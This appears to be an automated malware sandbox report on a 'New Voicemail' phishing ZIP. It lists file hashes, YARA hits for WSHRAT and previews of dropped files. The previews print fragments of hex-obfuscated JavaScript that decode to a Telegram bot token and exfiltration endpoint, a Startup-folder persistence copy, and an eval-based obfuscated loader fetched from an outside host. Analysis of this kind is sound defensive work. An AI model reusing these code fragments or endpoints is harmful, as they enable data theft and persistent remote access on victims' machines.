                                                                                                                                                                                      SHA-512:2C0E76588A79F88036D51A4E628BF8120CA36A3C788B5066004955E0C2BE855AA8B5EE357E9B2332D5957CE3C6DA23D63539FA0EB730596E08A3574A180093C1
                                                                                                                                                                                      Malicious:true
                                                                                                                                                                                      Yara Hits:
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js, Author: Joe Security
                                                                                                                                                                                      • Rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery, Description: Detects JS potentially executing WMI queries, Source: C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js, Author: ditekSHen
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js, Author: Joe Security
                                                                                                                                                                                      • Rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery, Description: Detects JS potentially executing WMI queries, Source: C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js, Author: ditekSHen
                                                                                                                                                                                      Preview:..var _$_348b=["\x41\x53\x38\x35\x37\x35","\x52\x55","\x28","\x29","\x6F\x62\x6A\x65\x63\x74","\x73\x74\x72\x69\x6E\x67","\x22","","\x22\x3A","\x5B","\x7B","\x5D","\x7D","\x36\x39\x36\x38\x31\x32\x36\x34\x36\x38\x3A\x41\x41\x46\x42\x75\x63\x46\x30\x55\x6D\x68\x6D\x4B\x4D\x70\x5F\x52\x67\x43\x4A\x57\x4A\x56\x43\x37\x68\x6A\x47\x41\x4F\x32\x35\x6D\x77\x67","\x36\x34\x38\x31\x32\x37\x30\x39\x30\x38","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x70\x69\x2E\x74\x65\x6C\x65\x67\x72\x61\x6D\x2E\x6F\x72\x67\x2F\x62\x6F\x74","\x2F\x73\x65\x6E\x64\x4D\x65\x73\x73\x61\x67\x65","\x4D\x53\x58\x4D\x4C\x32\x2E\x53\x65\x72\x76\x65\x72\x58\x4D\x4C\x48\x54\x54\x50","\x50\x4F\x53\x54","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x6A\x73\x6F\x6E","\x20","\x6D\x73\x78\x6D\x6C\x32\x2E\x78\x6D\x6C\x68\x74\x74\x70","\x47\x45\x54","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6A\x73\x6F\x6E\x2E\x67\x65\x6F\x69\x70\x6C\x6F\x6F\x6B\x75\x70\x2E\x69\x6F\x2F","\x55\x73\x65\x72\

                                                                                                                                                                                      C:\Users\user\AppData\Local\Temp\unarchiver.log

                                                                                                                                                                                      Download File
                                                                                                                                                                                      Process:C:\Windows\SysWOW64\unarchiver.exe
                                                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                      Size (bytes):1497
                                                                                                                                                                                      Entropy (8bit):5.173682920029783
                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                      SSDEEP:24:eFPq9tsdF+fLFNiJ7FNiJjWI7FNiJ7FNiJUwBFNiJfROYFNiJ7FNiJFTA9tsdFNA:YFCDGzGbzGzGpRGkqGzGp/tGbVGktGle
                                                                                                                                                                                      MD5:23902E866A1C1C949D69EDFA926A6887
                                                                                                                                                                                      SHA1:2888568E7E88C070B3E8301840147CDC4EF25927
                                                                                                                                                                                      SHA-256:CAA0F0E89A9DB19EB250413E3A768366A6A9D080A938875825DE4E2840DE5280
                                                                                                                                                                                      SHA-512:40C5E0CF2B814171BF99D0F36304D6B28FC302BD7610FF1C146B6EB01E1A08ED7CA2B134B918354EDCF77AAA5BF02B8A2D9E84CBBEB2452D9F3F820028E51350
                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                      Preview:05/10/2024 9:31 PM: Unpack: C:\Users\user\Downloads\New Voicemail May 9 _mp4.zip..05/10/2024 9:31 PM: Tmp dir: C:\Users\user\AppData\Local\Temp\2otik2vy.ast..05/10/2024 9:31 PM: Received from standard out: ..05/10/2024 9:31 PM: Received from standard out: 7-Zip 18.05 (x86) : Copyright (c) 1999-2018 Igor Pavlov : 2018-04-30..05/10/2024 9:31 PM: Received from standard out: ..05/10/2024 9:31 PM: Received from standard out: Scanning the drive for archives:..05/10/2024 9:31 PM: Received from standard out: 1 file, 170836 bytes (167 KiB)..05/10/2024 9:31 PM: Received from standard out: ..05/10/2024 9:31 PM: Received from standard out: Extracting archive: C:\Users\user\Downloads\New Voicemail May 9 _mp4.zip..05/10/2024 9:31 PM: Received from standard out: --..05/10/2024 9:31 PM: Received from standard out: Path = C:\Users\user\Downloads\New Voicemail May 9 _mp4.zip..05/10/2024 9:31 PM: Received from standard out: Type = zip..05/10/2024 9:31 PM: Received from standard out: Physical Size = 1

                                                                                                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\New Voicemail May 9 _mp4.js

                                                                                                                                                                                      Download File
                                                                                                                                                                                      Process:C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      File Type:ASCII text, with very long lines (65534), with CRLF line terminators
                                                                                                                                                                                      Category:modified
                                                                                                                                                                                      Size (bytes):631649
                                                                                                                                                                                      Entropy (8bit):3.6197110064206117
                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                      SSDEEP:12288:MYeIrWr/qRigAyX/kngXFbjTLvaH28nZH19Iimg0VtxWvTbxzOObcizI/mofdEMZ:MYeIrWr/qRigAyX/kngXFbjTLvaH28n8
                                                                                                                                                                                      MD5:67AE1F3636DF193B2B7897BC536FCF76
                                                                                                                                                                                      SHA1:F3A94059ADECC0DE3615EBE2FB7DF65599B3361B
                                                                                                                                                                                      SHA-256:043DF4E99AEAA6F5873B0CF3DEC2694D5B8D1F4830B37C9E2A5FC16953BACCF5
                                                                                                                                                                                      SHA-512:2C0E76588A79F88036D51A4E628BF8120CA36A3C788B5066004955E0C2BE855AA8B5EE357E9B2332D5957CE3C6DA23D63539FA0EB730596E08A3574A180093C1
                                                                                                                                                                                      Malicious:true
                                                                                                                                                                                      Preview:..var _$_348b=["\x41\x53\x38\x35\x37\x35","\x52\x55","\x28","\x29","\x6F\x62\x6A\x65\x63\x74","\x73\x74\x72\x69\x6E\x67","\x22","","\x22\x3A","\x5B","\x7B","\x5D","\x7D","\x36\x39\x36\x38\x31\x32\x36\x34\x36\x38\x3A\x41\x41\x46\x42\x75\x63\x46\x30\x55\x6D\x68\x6D\x4B\x4D\x70\x5F\x52\x67\x43\x4A\x57\x4A\x56\x43\x37\x68\x6A\x47\x41\x4F\x32\x35\x6D\x77\x67","\x36\x34\x38\x31\x32\x37\x30\x39\x30\x38","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x70\x69\x2E\x74\x65\x6C\x65\x67\x72\x61\x6D\x2E\x6F\x72\x67\x2F\x62\x6F\x74","\x2F\x73\x65\x6E\x64\x4D\x65\x73\x73\x61\x67\x65","\x4D\x53\x58\x4D\x4C\x32\x2E\x53\x65\x72\x76\x65\x72\x58\x4D\x4C\x48\x54\x54\x50","\x50\x4F\x53\x54","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x6A\x73\x6F\x6E","\x20","\x6D\x73\x78\x6D\x6C\x32\x2E\x78\x6D\x6C\x68\x74\x74\x70","\x47\x45\x54","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6A\x73\x6F\x6E\x2E\x67\x65\x6F\x69\x70\x6C\x6F\x6F\x6B\x75\x70\x2E\x69\x6F\x2F","\x55\x73\x65\x72\

                                                                                                                                                                                      C:\Users\user\Downloads\90979717-e338-44bf-8273-e058c4be9529.tmp

                                                                                                                                                                                      Download File
                                                                                                                                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      File Type:Zip archive data, at least v2.0 to extract, compression method=deflate
                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                      Size (bytes):170836
                                                                                                                                                                                      Entropy (8bit):7.91256626224867
                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                      SSDEEP:3072:8mKw5UzdVTsUTd3VKIvfH9z1JOeCSNeFXfUH1P2o8wFaLL3D/qr0WiesEXk:51GzdVrTdT3R1S8oovsT/qBlsE0
                                                                                                                                                                                      MD5:70E4EBDBF7EE1C60A666E82BE1CCDE77
                                                                                                                                                                                      SHA1:233B99185726FED6408F73F5884A2AFC5EFD6B9A
                                                                                                                                                                                      SHA-256:935CB080336C30268285243B3242A5CD058C9400162E0D775D9576F585F4CC14
                                                                                                                                                                                      SHA-512:9D2EF8B02B1C750384F3DFB2BEEF50F1750BD0161A64C5CEF0530EA19272D4E6FF34EF842BBAA5D7171DD06D0B56DC897542479C16EF8FD6521B8FC7FB530640
                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                      Preview:PK...........X.E.c....a.......New Voicemail May 9 _mp4.js.]....*.J.r..I..b..e.D..k...H.....! Y.....}3....$E....@..._........k.............o...-../.........%.....do.....u.....O..oE.j...Z......s.........l..M....r..&...O5'.].......ro.0...<....._'{/.......n..z_zY.....j.rC..^...a>.....>.8.fS...M......M..t.W...*.t.v*.....=.,..6.aE..u.nv..6/&.*...........DN..\lQ...C.wl.?...Y.^.m.`".amb%C..:.9-.M..M...K.(..CL>..b.......S...*R....iW..Y...n.-kX.....s..lJ......)..._.U.0......3F..5...:...hZ_'3.n.....rmS.......c.].ct..w....1.;+.CL....*>..S.{g..k(gWC.e...]s.6....~.s..e.V...<...s.....'..j....]o......<...........@.d...\.r.]K.j.....].x....T;1..<..)(..mYU/...&..ef...0..W.).8....*...m*4y9...jv.M>L...$#.j#.....L..&<...hS.Vp....?`.To.G..*..e.........:....u.X|....tA...e.N.F...u.I.f5 x.>.7IhB.2x..&S.:}.......>.v.0..C_.Q......6...i..q9...6Q *......m ..fGu4...S}.,-.Jy..0...y8....M....F.u0)..Kyo...>..KU`$..$..j...R...}..g...Zo..s....`|..;.....8.......b..vQ...

                                                                                                                                                                                      C:\Users\user\Downloads\New Voicemail May 9 _mp4.zip (copy)

                                                                                                                                                                                      Download File
                                                                                                                                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      File Type:Zip archive data, at least v2.0 to extract, compression method=deflate
                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                      Size (bytes):170836
                                                                                                                                                                                      Entropy (8bit):7.91256626224867
                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                      SSDEEP:3072:8mKw5UzdVTsUTd3VKIvfH9z1JOeCSNeFXfUH1P2o8wFaLL3D/qr0WiesEXk:51GzdVrTdT3R1S8oovsT/qBlsE0
                                                                                                                                                                                      MD5:70E4EBDBF7EE1C60A666E82BE1CCDE77
                                                                                                                                                                                      SHA1:233B99185726FED6408F73F5884A2AFC5EFD6B9A
                                                                                                                                                                                      SHA-256:935CB080336C30268285243B3242A5CD058C9400162E0D775D9576F585F4CC14
                                                                                                                                                                                      SHA-512:9D2EF8B02B1C750384F3DFB2BEEF50F1750BD0161A64C5CEF0530EA19272D4E6FF34EF842BBAA5D7171DD06D0B56DC897542479C16EF8FD6521B8FC7FB530640
                                                                                                                                                                                      Malicious:true
                                                                                                                                                                                      Preview:PK...........X.E.c....a.......New Voicemail May 9 _mp4.js.]....*.J.r..I..b..e.D..k...H.....! Y.....}3....$E....@..._........k.............o...-../.........%.....do.....u.....O..oE.j...Z......s.........l..M....r..&...O5'.].......ro.0...<....._'{/.......n..z_zY.....j.rC..^...a>.....>.8.fS...M......M..t.W...*.t.v*.....=.,..6.aE..u.nv..6/&.*...........DN..\lQ...C.wl.?...Y.^.m.`".amb%C..:.9-.M..M...K.(..CL>..b.......S...*R....iW..Y...n.-kX.....s..lJ......)..._.U.0......3F..5...:...hZ_'3.n.....rmS.......c.].ct..w....1.;+.CL....*>..S.{g..k(gWC.e...]s.6....~.s..e.V...<...s.....'..j....]o......<...........@.d...\.r.]K.j.....].x....T;1..<..)(..mYU/...&..ef...0..W.).8....*...m*4y9...jv.M>L...$#.j#.....L..&<...hS.Vp....?`.To.G..*..e.........:....u.X|....tA...e.N.F...u.I.f5 x.>.7IhB.2x..&S.:}.......>.v.0..C_.Q......6...i..q9...6Q *......m ..fGu4...S}.,-.Jy..0...y8....M....F.u0)..Kyo...>..KU`$..$..j...R...}..g...Zo..s....`|..;.....8.......b..vQ...

                                                                                                                                                                                      C:\Users\user\Downloads\New Voicemail May 9 _mp4.zip.crdownload (copy)

                                                                                                                                                                                      Download File
                                                                                                                                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      File Type:Zip archive data, at least v2.0 to extract, compression method=deflate
                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                      Size (bytes):170836
                                                                                                                                                                                      Entropy (8bit):7.91256626224867
                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                      SSDEEP:3072:8mKw5UzdVTsUTd3VKIvfH9z1JOeCSNeFXfUH1P2o8wFaLL3D/qr0WiesEXk:51GzdVrTdT3R1S8oovsT/qBlsE0
                                                                                                                                                                                      MD5:70E4EBDBF7EE1C60A666E82BE1CCDE77
                                                                                                                                                                                      SHA1:233B99185726FED6408F73F5884A2AFC5EFD6B9A
                                                                                                                                                                                      SHA-256:935CB080336C30268285243B3242A5CD058C9400162E0D775D9576F585F4CC14
                                                                                                                                                                                      SHA-512:9D2EF8B02B1C750384F3DFB2BEEF50F1750BD0161A64C5CEF0530EA19272D4E6FF34EF842BBAA5D7171DD06D0B56DC897542479C16EF8FD6521B8FC7FB530640
                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                      Preview:PK...........X.E.c....a.......New Voicemail May 9 _mp4.js.]....*.J.r..I..b..e.D..k...H.....! Y.....}3....$E....@..._........k.............o...-../.........%.....do.....u.....O..oE.j...Z......s.........l..M....r..&...O5'.].......ro.0...<....._'{/.......n..z_zY.....j.rC..^...a>.....>.8.fS...M......M..t.W...*.t.v*.....=.,..6.aE..u.nv..6/&.*...........DN..\lQ...C.wl.?...Y.^.m.`".amb%C..:.9-.M..M...K.(..CL>..b.......S...*R....iW..Y...n.-kX.....s..lJ......)..._.U.0......3F..5...:...hZ_'3.n.....rmS.......c.].ct..w....1.;+.CL....*>..S.{g..k(gWC.e...]s.6....~.s..e.V...<...s.....'..j....]o......<...........@.d...\.r.]K.j.....].x....T;1..<..)(..mYU/...&..ef...0..W.).8....*...m*4y9...jv.M>L...$#.j#.....L..&<...hS.Vp....?`.To.G..*..e.........:....u.X|....tA...e.N.F...u.I.f5 x.>.7IhB.2x..&S.:}.......>.v.0..C_.Q......6...i..q9...6Q *......m ..fGu4...S}.,-.Jy..0...y8....M....F.u0)..Kyo...>..KU`$..$..j...R...}..g...Zo..s....`|..;.....8.......b..vQ...

                                                                                                                                                                                      Chrome Cache Entry: 87

                                                                                                                                                                                      Download File
                                                                                                                                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      File Type:JSON data
                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                      Size (bytes):789
                                                                                                                                                                                      Entropy (8bit):4.700988784695684
                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                      SSDEEP:24:UCAeEYFCAeE+mLr2fK2gHm/KoF+xk2A7NLPg:UCAeZCAeXfRgHm/KoFeG7NPg
                                                                                                                                                                                      MD5:F83D14BDE41AE81F4CDF864966B5D460
                                                                                                                                                                                      SHA1:EDF103C7E3E7EE1B667F24E6CAA04324A723AD96
                                                                                                                                                                                      SHA-256:D1C2C9E550EE1404BF64E2B99A8426C4457A5E28186F42A8112BEF2221734354
                                                                                                                                                                                      SHA-512:872C36EDBC4BB4649C4D30A0EF8853CB19F109DA442364B5A8B382621B4613127E60842BC169C79EA077970BBCA8E5D06F1340CFFB30FA109BC826DD71383A18
                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                      Preview:{. "ip": "81.181.62.34",. "isp": "Institutul National de Cercetare-Dezvoltare in informatica - ICI Bucuresti",. "org": "Institutul National de Cercetare-Dezvoltare in informatica - ICI Bucuresti",. "hostname": "81.181.62.34",. "latitude": 44.4626,. "longitude": 26.0737,. "postal_code": "011455",. "city": "Bucuresti (Sector 1)",. "country_code": "RO",. "country_name": "Romania",. "continent_code": "EU",. "continent_name": "Europe",. "region": "Bucure\u0219ti",. "district": "Municipiul Bucure\u015fti",. "timezone_name": "Europe\/Bucharest",. "connection_type": "Corporate",. "asn_number": 0,. "asn_org": "",. "asn": "",. "currency_code": "RON",. "currency_name": "Romanian Leu",. "success": true,. "premium": false.}

                                                                                                                                                                                      Chrome Cache Entry: 88

                                                                                                                                                                                      Download File
                                                                                                                                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      File Type:JSON data
                                                                                                                                                                                      Category:downloaded
                                                                                                                                                                                      Size (bytes):171
                                                                                                                                                                                      Entropy (8bit):3.57118472271822
                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                      SSDEEP:3:6FFH/Hk2XSk/Hk2lGlFHk2BcTUpvFF/Hk2tHJvNFHk2cWpfHk2FRSAhXHk2TWzFX:6/8+FcekZcwpv0XWp8gRdh0+WzFc4nSE
                                                                                                                                                                                      MD5:FE0B27C4CBC9B9D1AECA9595AD40C080
                                                                                                                                                                                      SHA1:B956047CA88DAD765877D695BB7AB2A88ECCD39F
                                                                                                                                                                                      SHA-256:6E577F71F2BDD4AB8A0C40A03F8F6B1702ECBBEA48FA90DE2C6571145943DFE0
                                                                                                                                                                                      SHA-512:BECFF52EAD6E3BD9B45ECC03CF07D330C33682B9EE8DD82AE837136C528A105E653B1F9ADA9BE4BE94EE9E11FF3FC1D440F748D2ABD60AC45D1D8B4740DC4AF1
                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                      URL:https://pastie.io/raw/rlcqft
                                                                                                                                                                                      Preview:[ . "AS8075",. "AS395954",. "AS24961",. "AS9009",. "AS7203",. "AS20473",. "AS30633",. "AS16509",. "AS396362",. "AS14618",. "AS202401".].

                                                                                                                                                                                      Chrome Cache Entry: 89

                                                                                                                                                                                      Download File
                                                                                                                                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      File Type:JSON data
                                                                                                                                                                                      Category:downloaded
                                                                                                                                                                                      Size (bytes):789
                                                                                                                                                                                      Entropy (8bit):4.700988784695684
                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                      SSDEEP:24:UCAeEYFCAeE+mLr2fK2gHm/KoF+xk2A7NLPg:UCAeZCAeXfRgHm/KoFeG7NPg
                                                                                                                                                                                      MD5:F83D14BDE41AE81F4CDF864966B5D460
                                                                                                                                                                                      SHA1:EDF103C7E3E7EE1B667F24E6CAA04324A723AD96
                                                                                                                                                                                      SHA-256:D1C2C9E550EE1404BF64E2B99A8426C4457A5E28186F42A8112BEF2221734354
                                                                                                                                                                                      SHA-512:872C36EDBC4BB4649C4D30A0EF8853CB19F109DA442364B5A8B382621B4613127E60842BC169C79EA077970BBCA8E5D06F1340CFFB30FA109BC826DD71383A18
                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                      URL:https://json.geoiplookup.io/
                                                                                                                                                                                      Preview:{. "ip": "81.181.62.34",. "isp": "Institutul National de Cercetare-Dezvoltare in informatica - ICI Bucuresti",. "org": "Institutul National de Cercetare-Dezvoltare in informatica - ICI Bucuresti",. "hostname": "81.181.62.34",. "latitude": 44.4626,. "longitude": 26.0737,. "postal_code": "011455",. "city": "Bucuresti (Sector 1)",. "country_code": "RO",. "country_name": "Romania",. "continent_code": "EU",. "continent_name": "Europe",. "region": "Bucure\u0219ti",. "district": "Municipiul Bucure\u015fti",. "timezone_name": "Europe\/Bucharest",. "connection_type": "Corporate",. "asn_number": 0,. "asn_org": "",. "asn": "",. "currency_code": "RON",. "currency_name": "Romanian Leu",. "success": true,. "premium": false.}

                                                                                                                                                                                      Chrome Cache Entry: 90

                                                                                                                                                                                      Download File
                                                                                                                                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      File Type:PNG image data, 2000 x 1000, 1-bit colormap, non-interlaced
                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                      Size (bytes):8514
                                                                                                                                                                                      Entropy (8bit):7.922734809780811
                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                      SSDEEP:192:Q18INKSkXWGWK8yygCT1etxu94ogUj4brEMD0QLDpYhd:JXjV8boxu94oibrpqd
                                                                                                                                                                                      MD5:51F7DB54AF24C4ACFBE56682813C7401
                                                                                                                                                                                      SHA1:6D7183C81099536AA3A8BB2C4A8B7E99926EABD1
                                                                                                                                                                                      SHA-256:D4F9E7B4AC4BED8BE190B3FC1298A067C5CCCAF8F4CFCBDF177E431F93A20C69
                                                                                                                                                                                      SHA-512:EFB806E852E27608D5B9FB2587F6F2660B4920BD64681F0BF798C89E38B6771EE831F265A92491173B4474758168DF698E356BBB27C4248E51FD117EB5C9CE83
                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                      Preview:.PNG........IHDR.....................PLTE....q...O... .IDATx..]...Ju.-T...@......!. \7 ..........E..gd.#.8 .....l......{..?....^.fVC.s..3....[.=..v;..J,.....]..t.....@..yG+..t.....@...]..t.....@....DC...]..t.....@...]..t.....@...]........]..t.....@...]..t.....@...]...]....?ja]..t......A.u.....@...]...A.......@...]..t.~M.....@.<...ZX...]..t.~]...).[.4.@...].?..]?:..^..t....C].z-.........MX...]..l..Ao.u.........:.......J{Q......je..../.....~P.k..@...].^....1..W.........~J.mS.B..C........@go....y.s.p.7%.C!..z..qs=..MX.>.Z.}0.............:.m.]4.@.d.~..l.U=......._... ..t...z.....><..D.P...%..x1g........\E].@..t.q``m..f]_..,...._...3|b....;(...J.G.<8.T].@.O...:g.Be..|.L......4N...../.z.^....]F.....z......C.gq.N...^..z._...XWe..z.WN.ud..Bg.NbE.R..u..|.S."..q.0.."3........."|..=4tp}1.g....Q......zwrg....Yk.R].....9...J..,d.~...<[.c.=...P.~T...\..).WC!.9d..Wh..7.....Y...>...o}...b.4dV.'..nr*.Z]r5...N#.G.....6.\.K...Y;.(.b.e!....e^Ue.W....>cAL...su..

                                                                                                                                                                                      Chrome Cache Entry: 91

                                                                                                                                                                                      Download File
                                                                                                                                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      File Type:JSON data
                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                      Size (bytes):171
                                                                                                                                                                                      Entropy (8bit):3.57118472271822
                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                      SSDEEP:3:6FFH/Hk2XSk/Hk2lGlFHk2BcTUpvFF/Hk2tHJvNFHk2cWpfHk2FRSAhXHk2TWzFX:6/8+FcekZcwpv0XWp8gRdh0+WzFc4nSE
                                                                                                                                                                                      MD5:FE0B27C4CBC9B9D1AECA9595AD40C080
                                                                                                                                                                                      SHA1:B956047CA88DAD765877D695BB7AB2A88ECCD39F
                                                                                                                                                                                      SHA-256:6E577F71F2BDD4AB8A0C40A03F8F6B1702ECBBEA48FA90DE2C6571145943DFE0
                                                                                                                                                                                      SHA-512:BECFF52EAD6E3BD9B45ECC03CF07D330C33682B9EE8DD82AE837136C528A105E653B1F9ADA9BE4BE94EE9E11FF3FC1D440F748D2ABD60AC45D1D8B4740DC4AF1
                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                      Preview:[ . "AS8075",. "AS395954",. "AS24961",. "AS9009",. "AS7203",. "AS20473",. "AS30633",. "AS16509",. "AS396362",. "AS14618",. "AS202401".].

                                                                                                                                                                                      Chrome Cache Entry: 92

                                                                                                                                                                                      Download File
                                                                                                                                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      File Type:ASCII text, with very long lines (65536), with no line terminators
                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                      Size (bytes):227784
                                                                                                                                                                                      Entropy (8bit):5.953235164819124
                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                      SSDEEP:6144:d3pb5UYjmrWSp/0Y8Dam5zONbSZfpWR9aqACEcK44Q8Q:d3pRirWSuY8P5ZWJACBK4GQ
                                                                                                                                                                                      MD5:E689000DC8F216BDBA72B0FD6CF4671B
                                                                                                                                                                                      SHA1:B8B2E393569B27AEE1429F82372CC5E7B3C4C537
                                                                                                                                                                                      SHA-256:CDC028FA217A3170FCB0E3D76B1B7BB97001F442B3FCED8094CE33B1C87ECFE8
                                                                                                                                                                                      SHA-512:FF028D18043E51B4866348A370365A8ECE019ED4E2A0007A21BD7B0947759D10776FB4A89F99095C7ADF791CAE7E62BD456D41471B821FF71CD4DD64C6FF4722
                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                      Preview:UEsDBBQAAAAIAJWNqVgSRbNjmJoCAGGjCQAbAAAATmV3IFZvaWNlbWFpbCBNYXkgOSBfbXA0Lmpz3F3N0uu4jd2nKu+QSs1yFhJJkNZiFrJlv0S6qmvmEbJI9ePHAs4hIFn++e7t230zC5f9ySRFgsDBAUDr++tf/vW///zbr//1ay6n//uff/z9l9/K+Mtvkn/5LZ/uL7m/2vr+9/++fyXp/rKP6WRvk77V2/11/7LO99e9T733b0W/avrx/lq/nu6v6/3VrHO6v+HT/R6z3eNs3exNFvvL3nK9vya8r9O7TzUn/F3C9dmWoa/7tXJv0zCt9e88rOu4/73cXyd7L+f76/7e1u9uttZ6X3pZ+9zHk4b3atdyQ9/1Xg33umE+GLu1vtY+xTjtZlPJE95NpvUEiRWbTcu2onSzVx3t+irNdLV2KvQL3hukPdos0tU2qGFFiZt165uUbnYb7b42LyaMKtjAjOHWBZkClMXURE72uVxsUevdBEOtd2zVP8e25f5ZCl6DbfZgItRhbWIlQ7niOvE5Lda7TZCHTYzi0UsXKB3mr0NMPqSKYsb69JqJw+ZTF6weKlLDEuO17YZpV9UIWef32ZZu5oAta1juzebc13PD62xK3Qa0x7rSzYQpGBKyX6VVxjDste++7vSqATNGueA1rqOZOqer6WhaXyczh27OBf2b3XJtU67r4u2z6vvgY+SzXY9jdPvAd+3k19KEMfc7KxhDTKHLGZIqPu8MU9V7ZxuTayhnV0OqZbrY911zzja+3p/3yrh+C3PL2GUYVoX16Dya3Zvrj3PJp/DdyecntLhq74TP5+uyXW/omr2LiqwEyzwFvLiYwguA7gbDBkCqZMTAsFwBcotdS9K7atP8tqkQXc54h87A6lQ7MfcIPLodKSh/9m1ZVS+N2ILJJq6GZWbI3ewwAoBXuynBOKCxhMwqh8PsbSo0eTn5CMhqdp9NPkySE4ckI9y3aiP7qNqExvhME9qxJjzr

                                                                                                                                                                                      Chrome Cache Entry: 93

                                                                                                                                                                                      Download File
                                                                                                                                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      File Type:ASCII text, with very long lines (45464), with CRLF line terminators
                                                                                                                                                                                      Category:downloaded
                                                                                                                                                                                      Size (bytes):45489
                                                                                                                                                                                      Entropy (8bit):5.184094857140521
                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                      SSDEEP:768:Omp/6wqUXoGDwbR/X6oHa6NCqgWxXlwfPI/EVB9jb6OKx5MJ69GjyuET9xUvsGqZ:OyHFRqVuZIG2GLU6z8
                                                                                                                                                                                      MD5:31993E8920963B996A3F5890A91C67C7
                                                                                                                                                                                      SHA1:F4CD58AB2E3968B2C902598B551EC93EF679AF1F
                                                                                                                                                                                      SHA-256:BA16CD9A6D7044B4C6B9499E9AC23EFAA6F59AFA7B6392DF5987FDCC61D60B64
                                                                                                                                                                                      SHA-512:CDE23DF232DD4C762D638EE1502755F56A068C7CDC449D1111B9922936DAAEFE4CE8726569FA5CA447AE2E351CE88D4D482CB9D7FF6119119AEFACDC59335311
                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                      URL:https://cloudgoogle.pages.dev/love.js
                                                                                                                                                                                      Preview:// Job ID: nq3xlh9kfe5s..let rfKO;!function(){const gn9F=Array.prototype.slice.call(arguments);return eval("(function MXJF(vdRx){const XKTx=fXAy(vdRx,vfoy(MXJF.toString()));try{let r8Lx=eval(XKTx);return r8Lx.apply(null,gn9F);}catch(TFOx){var THly=(0o203542-67405);while(THly<(0o400102%65556))switch(THly){case (0x30051%0o200024):THly=TFOx instanceof SyntaxError?(0o400127%0x1001F):(0o400104%0x10015);break;case (0o201356-0x102D5):THly=(0o400120%65563);{console.log(\'Error: the code has been tampered!\');return}break;}throw TFOx;}function vfoy(PCgy){let rajy=2135784739;var Lxby=(0o400062%65550);{let n5dy;while(Lxby<(0x105F0-0o202712)){switch(Lxby){case (0o600123%0x10016):Lxby=(68776-0o206215);{rajy^=(PCgy.charCodeAt(n5dy)*(15658734^0O73567354)+PCgy.charCodeAt(n5dy>>>(0x4A5D0CE&0O320423424)))^944965574;}break;case (0o205214-68209):Lxby=(0O3153050563-0x19AC516B);n5dy++;break;case (0O347010110&0x463A71D):Lxby=n5dy<PCgy.length?(0o202772-67049):(0o1000232%65565);break;case (0o400052%0x1000A):Lx

                                                                                                                                                                                      Chrome Cache Entry: 94

                                                                                                                                                                                      Download File
                                                                                                                                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      File Type:PNG image data, 256 x 256, 8-bit colormap, non-interlaced
                                                                                                                                                                                      Category:downloaded
                                                                                                                                                                                      Size (bytes):4033
                                                                                                                                                                                      Entropy (8bit):7.596991227853238
                                                                                                                                                                                      Encrypted:false
